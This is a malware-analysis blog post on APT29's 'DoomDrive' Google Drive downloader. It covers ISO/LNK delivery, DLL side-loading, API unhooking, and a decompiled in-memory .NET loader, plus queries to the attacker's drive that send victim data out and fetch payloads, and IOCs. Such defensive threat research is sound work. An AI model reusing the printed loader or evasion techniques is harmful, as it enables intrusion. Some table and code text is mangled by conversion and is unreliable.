# A look into APT29's new early-stage Google Drive downloader **[r136a1.info/2022/07/19/a-look-into-apt29s-new-early-stage-google-drive-downloader/](https://r136a1.info/2022/07/19/a-look-into-apt29s-new-early-stage-google-drive-downloader/)** Jul 19, 2022 • [malware](https://r136a1.info/categories/malware/) [While analysing the downloader from APT29 that uses the Slack messaging service ( SHA-](https://attack.mitre.org/groups/G0016/) ``` 256: 879a20cc630ff7473827e7781021dacc57bcec78c01a7765fc5ee028e4a03623 ), I’ve ``` found another downloader that utilizes Google Drive. It is also delivered via an ISO file like the previous ones. I call this new .NET downloader `DoomDrive in reference to the older` ``` BoomBox one. With this latest addition, there are 4 known early stage downloaders that ``` abuse legitimate services: First seen ITW June 2022 June 2022 January 2022 February 2021 Malware downloader DoomDrive Google Drive Russian APT29 Hackers Use Online Storage Services, DropBox and Google Drive ? Slack Il malware EnvyScout (APT29) è stato veicolato anche in Italia (brief analysis) BEATDROP Trello Trello From the Other Side: Tracking APT29 Phishing Campaigns BoomBox DropBox Breaking down NOBELIUM’s latest early-stage toolset Abused legitimate service Analysis **[EDIT: While working on this blog post, Palo Alto Networks released their analysis of the](https://unit42.paloaltonetworks.com/cloaked-ursa-online-storage-services-campaigns/)** ``` DoomDrive campaign. ## The ISOlation layer ``` On 5th of July, a file named `Agenda.iso was uploaded from Malaysia to Virustotal. This` ISO sample contains the following files: ----- Usually, the only file that isn’t hidden in a default Windows environment is `Information` that is a LNK file. It contains the following target string: ``` %windir%/system32/cmd.exe /k start agenda.exe ``` When double-clicked it runs `agenda.exe that is a legitimate file signed by Adobe. This file` imports a couple of functions from `vcruntime140.dll as can be seen by looking at the` import table: The DLL is usually located in the Windows system folder and gets also loaded from there. In this case, the file was placed in the same folder as the EXE to abuse the DLL search order (DLL side-loading). The file `vcruntime140.dll is a slightly modified version of the original` signed one. The size of the last section ( .reloc ) was increased with 0 bytes which overwrites the signature information present as overlay data. Additionally, the `.reloc` section characteristics were changed to make it also writable. The reason for these changes is to use the resulting space to expand the import table with an additional entry: ----- As a result, when `agenda.exe is executed, it loads` `vcruntime140.dll which in turn` loads `vctool140.dll . The same trick with an expanded import table was used in the ISO` file that contains the Slack downloader. The file `vctool140.dll is a loader for the` encrypted `DoomDrive payload named` `_ .` ## The .NET EXEcution layer As mentioned, `vctool140.dll is a loader for the` `DoomDrive downloader that is a .NET` assembly. It is partly similar to the loader of `BEATDROP and the Slack downloader. In` comparison to the loader of `BEATDROP, it not only unhooks all hooked functions in` ``` ntdll.dll, but also those of wininet.dll . The loader of the Slack downloader is the ``` most advanced one as it also uses code and string obfuscation among other things. When executed, it first unhooks all functions in `ntdll.dll and` `wininet.dll . For this, it` maps a fresh version of each Windows DLL into memory and overwrites the `.text` sections of the already loaded modules with those of the mapped ones. An example code of [this technique can be found here.](https://www.ired.team/offensive-security/defense-evasion/how-to-unhook-a-dll-using-c++) Next, it loads the MSZIP compressed `DoomDrive file ( _ ) to memory and unpacks it. The` result is a 64-bit .NET EXE assembly that gets executed via COM interface API functions. The decompiled and cleaned up code is as follows: ----- ``` ... Filename[v2 + 1] = '_'; v6 = v2 + 2i64; if ( v6 >= 0x104 ) { _report_rangecheckfailure(v4, v2, v1, v3); __debugbreak(); } Filename[v6] = 0; hFile = CreateFileA(Filename, GENERIC_READ, 1u, 0i64, 3u, FILE_ATTRIBUTE_NORMAL, 0i64); hFile_0 = hFile; if ( hFile != INVALID_HANDLE_VALUE ) { FileSize = GetFileSize(hFile, 0i64); Buffer = j__malloc_base(FileSize); ReadFile(hFile_0, Buffer, FileSize, &NumberOfBytesRead, 0i64); CloseHandle(hFile_0); UncompressedBuffer = 0i64; LODWORD(hFile) = CreateDecompressor(COMPRESS_ALGORITHM_MSZIP, 0i64, &hDecompressor); if ( hFile ) { UncompressedDataSize = 0i64; UncompressedBufferSize = 0i64; if ( Decompress(hDecompressor, Buffer, NumberOfBytesRead, 0i64, 0i64, &UncompressedBufferSize) || GetLastError() != ERROR_INSUFFICIENT_BUFFER || (UncompressedBuffer = j__malloc_base(UncompressedBufferSize), LODWORD(hFile) = Decompress(hDecompressor, Buffer, NumberOfBytesRead, UncompressedBuffer, UncompressedBufferSize, &UncompressedDataSize), hFile) ) { CloseDecompressor(hDecompressor); pCLRMetaHost = 0i64; ppRuntime = 0i64; pCorRuntimeHost = 0i64; LODWORD(hFile) = CLRCreateInstance(&CLSID_CLRMetaHost, &ICLRMetaHost, &pCLRMetaHost); if ( hFile >= 0 ) { wcscpy(pwzVersion, L"v4.0.30319"); LODWORD(hFile) = pCLRMetaHost->lpVtbl->GetRuntime(pCLRMetaHost, pwzVersion, &riid, &ppRuntime); if ( hFile >= 0 ) { LODWORD(hFile) = ppRuntime->lpVtbl->GetInterface(ppRuntime, &CLSID_CorRuntimeHost, &IID_ICorRuntimeHost, &pCorRuntimeHost); if ( hFile >= 0 ) { pCorRuntimeHost->lpVtbl->Start(pCorRuntimeHost); pAppDomain = 0i64; ``` ----- ``` LODWORD(hFile) pCorRuntimeHost >lpVtbl >GetDefaultDomain(pCorRuntimeHost, &pAppDomain); if ( hFile >= 0 ) { pDefaultAppDomain = 0i64; LODWORD(hFile) = (pAppDomain->lpVtbl->QueryInterface) (&AppDomain, &pDefaultAppDomain); if ( hFile >= 0 ) { rgsabound.cElements = UncompressedDataSize; rgsabound.lLbound = 0; safeArray = SafeArrayCreate(VT_UI1, 1u, &rgsabound); SafeArrayLock(safeArray); count = 0; if ( UncompressedDataSize ) { index = 0i64; do { *(safeArray->pvData + index) = UncompressedBuffer[index]; ++count; ++index; } while ( count < UncompressedDataSize ); } SafeArrayUnlock(safeArray); pDefaultAppDomain_0 = pDefaultAppDomain; pManagedAssembly = 0i64; hr = (pDefaultAppDomain->lpVtbl->Load_3)(safeArray, &pManagedAssembly); if ( hr < 0 ) Cleanup(hr, pDefaultAppDomain_0, &AppDomain); pManagedAssembly_0 = pManagedAssembly; if ( pManagedAssembly ) (pManagedAssembly->lpVtbl->Release)(); DoomDriveMain = 0i64; (pManagedAssembly_0->lpVtbl->EntryPoint) (&DoomDriveMain); VariantInit(&pvarg); DoomDriveMain_0 = DoomDriveMain; VariantInit(&pRetVal); obj = pvarg; hr_0 = (DoomDriveMain_0->lpVtbl->Invoke_3)(&obj, 0i64, &pRetVal); if ( hr_0 < 0 ) Cleanup(hr_0, DoomDriveMain_0, &word_1800177E8); pRetVal_0 = pRetVal; VariantClear(&pRetVal_0); VariantClear(&pvarg); (ppRuntime->lpVtbl->Release)(ppRuntime); (pCLRMetaHost->lpVtbl->Release)(pCLRMetaHost); ``` ----- ``` LODWORD(hFile) (pCorRuntimeHost >lpVtbl >Release) (pCorRuntimeHost); } } } } } } } } ... ``` [The code is very similar to this one which in turn is a modification of Microsoft’s old example](https://www.unknowncheats.me/forum/2489131-post1.html) code named `CppHostCLR . It shows how to run a managed .NET assembly in an` unmanaged application via the Component Object Model in C++. ## With DoomDrive to the next layer There is reason to believe that `DoomDrive wasn’t only compressed for obfuscation` purposes, but also because it’s bigger than 1 MB in size. This is because the C# Google Drive API (and [Newtonsoft Json) libraries were statically linked into the file.](https://www.newtonsoft.com/json) It contains the following Google Drive credentials which it uses throughout the code: When executed, it first copies all files except for the LNK one from the mounted ISO drive to the `%APPDATA% folder. For persistency, it creates a registry` `Run entry in` `HKCU with` ``` agenda.exe as the target file. To create a unique victim ID that gets later used mutliple ``` times, it retrieves the Windows logon name and calculates a SHA-256 hash string on it. At last, it prepends the hardcoded `Id value` `99 (see screenshot above) to build the final ID.` The first contact to the attacker’s Google drive is made by retrieving the list of text files available for the victim’s ID via the `ListFiles API function:` ``` ListFiles("trashed = false and name contains '" + + "' and mimeType = 'text/plain'") ``` ----- If the response is empty, it gets system information from the victim and uploads it in encrypted form within a TXT file to the attacker’s drive. The following information is retrieved: Windows logon name User domain name Local computer domain name List of network interfaces List of process names It is encrypted with a hardcoded XOR key (see screenshot above, base64 encoded) and base64 encoded. The victim user ID is used for the text file name. When the upload was successful, the program continues, otherwise it repeats the last procedure. To hint when the file was uploaded, it creates (or updates) a comment for the file with the current date as content. To get the next stage payload, it lists all available PDF files in the attacker’s drive as indicated by the MIME type: ``` ListFiles("trashed = false and name contains '" + + "' and mimeType = 'application/pdf'"); ``` This file must have been created by the attacker and is only disguised as a PDF. It’s actually an AES encrypted (see screenshot above for IV/key, base64 encoded) shellcode payload. The payload is executed in the following way: [An example of the executioner C# code can be found here. At the time of the analysis, the](https://github.com/cobbr/SharpGen/blob/master/Source/SharpSploit/Execution/ShellCode.cs) attacker’s drive didn’t respond anymore, thus it remains unknown what the next stage was. ----- ## Conclusion As we’ve seen in the past, the threat actor APT29 always uses several early-stage tools during a campaign. The latest .NET downloader abuses another legitimate service to get a payload on a victim’s system. In contrast to the other legitimate services, the developer didn’t seem to enjoy working with the Google API as can be seen in the PDB path of `DoomDrive` (^^): ``` C:\Users\user\source\repos\GoogleDriveSucks\src\GoogleDriveSucks\Drive.pdb ## IOCs ``` **ISO** 347715f967da5debfb01d3ba2ede6922801c24988c8e6ea2541e370ded313c8b **DoomDrive** 295452a87c0fbb48eb87be9de061ab4e938194a3fe909d4bcb9bd6ff40b8b2f0 -----